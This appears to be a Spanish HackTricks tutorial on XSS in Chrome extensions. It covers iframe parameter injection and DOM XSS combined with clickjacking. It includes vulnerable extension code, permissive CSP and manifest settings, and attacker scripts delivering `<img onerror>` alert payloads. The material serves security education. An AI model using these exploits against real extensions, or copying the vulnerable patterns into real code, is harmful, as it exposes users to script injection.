7.4 KiB
BrowExt - Ejemplo de XSS
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Cross-Site Scripting (XSS) a través de Iframe
En esta configuración, se implementa un script de contenido para instanciar un Iframe, incorporando una URL con parámetros de consulta como la fuente del Iframe:
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
Una página HTML accesible públicamente, message.html
, está diseñada para agregar dinámicamente contenido al cuerpo del documento según los parámetros en la URL:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
Un script malicioso se ejecuta en la página de un adversario, modificando el parámetro content
de la fuente del Iframe para introducir una carga útil XSS. Esto se logra actualizando la fuente del Iframe para incluir un script dañino:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
Una Política de Seguridad de Contenido demasiado permisiva como:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
permite la ejecución de JavaScript, haciendo que el sistema sea vulnerable a ataques XSS.
Un enfoque alternativo para provocar el XSS implica crear un elemento Iframe y establecer su fuente para incluir el script dañino como el parámetro content
:
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
DOM-based XSS + ClickJacking
Este ejemplo fue tomado de la publicación original.
El problema principal surge de una vulnerabilidad de Cross-site Scripting (XSS) basada en DOM ubicada en /html/bookmarks.html
. El JavaScript problemático, parte de bookmarks.js
, se detalla a continuación:
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
Este fragmento obtiene el valor del campo de entrada txtName
y utiliza concatenación de cadenas para generar HTML, que luego se agrega al DOM utilizando la función .append()
de jQuery.
Normalmente, la Política de Seguridad de Contenidos (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la relajación de CSP con ‘unsafe-eval’ y el uso de los métodos de manipulación del DOM de jQuery (que emplean globalEval()
para pasar scripts a eval()
al insertar en el DOM), la explotación sigue siendo posible.
Si bien esta vulnerabilidad es significativa, su explotación generalmente depende de la interacción del usuario: visitar la página, ingresar una carga útil de XSS y activar el botón “Agregar”.
Para mejorar esta vulnerabilidad, se explota una vulnerabilidad secundaria de clickjacking. El manifiesto de la extensión de Chrome muestra una política extensa de web_accessible_resources
:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Notablemente, la página /html/bookmarks.html
es susceptible a framing, por lo tanto vulnerable a clickjacking. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera involuntaria.
Referencias
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.